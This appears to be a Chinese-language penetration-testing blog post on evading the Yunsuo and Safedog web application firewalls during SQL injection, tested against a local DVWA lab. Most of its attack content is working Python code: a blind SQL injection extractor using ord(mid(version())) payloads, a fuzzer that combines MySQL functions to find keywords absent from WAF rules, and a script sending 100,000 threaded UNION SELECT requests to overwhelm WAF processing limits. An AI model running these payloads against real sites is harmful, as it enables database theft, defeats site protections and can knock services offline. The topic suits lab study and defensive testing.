0x00 背景
没有任何背景,就是想ri过WAF
0x01 有哪些过WAF的手法
第一种:找到未被WAF正则规则收录的数据库关键词
第二种:畸形的HTTP请求
第三种:WAF引擎绕过
0x02 测试环境
server2012
php
MySQL
apache
0x03 WAF绕过部分思路
替换关键函数绕过云锁&安全狗
绕过实例:
# -*- coding: utf-8 -*- import requests import time url = "http://192.168.81.176/d/vulnerabilities/sqli/" headers = { "Cookie": '''security=low; security_session_verify=7a73c0e465f9189db590a3b7d3a8a501; safedog-flow-item=7A37BF7BC93388A6F54A5942DBE5BAED; PHPSESSID=o0ke6kb0iekisbr1lf7tj3mmh8''' } res='' for i in range(1, 33): for m in range(0, 128): payload = "ord(mid(version(),{},1))-{}".format(i, m) # payload = "ord(mid(version(),1,1))-52" data = { "id": payload, "Submit": "Submit" } response = requests.post(url=url, headers=headers, data=data) if "网站防火墙" in response.text: exit(1) if "First name: admin" in response.text: res+=chr(m + 1) print(res)
绕过遇到的问题及解法
- 如何找到更多的未保存的函数?
- 找到这些函数如何使用?
如何找到未被记录的函数
- 将MySQL函数分为几类
- 拆分字符串函数:mid、left、lpad等
- 编码函数:ord、hex、ascii等
- 运算函数:+ - * / & ^ ! like rlike reg等
- 空格替换部分:09、0a、0b、0c、0d等
- 关键数据函数:user()、version()、database()等
- 然后将这些不同类型的函数组合拼接在一起
例如:
a = ["", "+", "-", "*", "/", " ", "--", "^", "and ", "or ", "!", "@", "`", "~"] b = ["hex({})", "ord({})", "ascii({})", "", " "] d = ["LPAD({a})", "LEFT({a})", "MID({a})","POSITION({a})","RIGHT({a})","SUBSTR({a})","SUBSTRING"] for n in a: for i in b: for m in d: print(n + i.format(m.format(a="version()")))
找到这些函数如何使用
例子:
for i in range(1, 33): for m in range(0, 128): payload = "ord(mid(version(),{},1))-{}".format(i, m) # payload = "ord(mid(version(),1,1))-52" data = { "id": payload, "Submit": "Submit" } response = requests.post(url=url, headers=headers, data=data) if "网站防火墙" in response.text: exit(1) if "First name: admin" in response.text: res+=chr(m + 1) print(res)
利用畸形的HTTP请求包绕过云锁&安全狗
通过删除form-data绕过检测:
通过修改name属性绕过检测:
如何获取更多的绕过思路
了解《HTTP权威指南》,里面介绍了很多不常见的请求包。
利用WAF引擎问题绕过WAF
# -*- coding: utf-8 -*- import requests import time import threading url = "http://192.168.81.176/d/vulnerabilities/sqli/" headers = { "Cookie": '''security=low; security_session_verify=7a73c0e465f9189db590a3b7d3a8a501; safedog-flow-item=7A37BF7BC93388A6F54A5942DBE5BAED; PHPSESSID=o0ke6kb0iekisbr1lf7tj3mmh8''' } def main(): payload = "0 union select user(),1 -- -" data = { "id": payload, "Submit": "Submit" } try: response = requests.post(url=url, headers=headers, data=data) if "root" in response.text: print(payload) except: pass if __name__ == "__main__": t = [] for i in range(100000): a = threading.Thread(target=main) a.start() t.append(a) for i in t: i.join()
绕过思路:
此类型攻击更适用于云WAF,部分WAF在处理请求的时候,都有各自的处理时常机制。比如A接入WAF,首先要保证A业务正常的访问质量,不可能每一条请求都处理很长时间,否则会导致客户弃用的。
此时可以将同一个payload多次发送,在不触发CC防御机制的情况下,进行测试。
在遇到云WAF的时候,可以尝试这种方式。但要注意客户业务别被打挂了。
0x04 总结一下
- 抛砖引玉。
- 通过利用MySQL的机制去绕过WAF,需要了解数据库更多的不常用的函数。
- 利用HTTP机制去绕过WAF,需要读一下《HTTP权威指南》,里面有很多过WAF的方式。
- 利用WAF引擎问题去过WAF,需要了解各个厂家WAF的处理逻辑。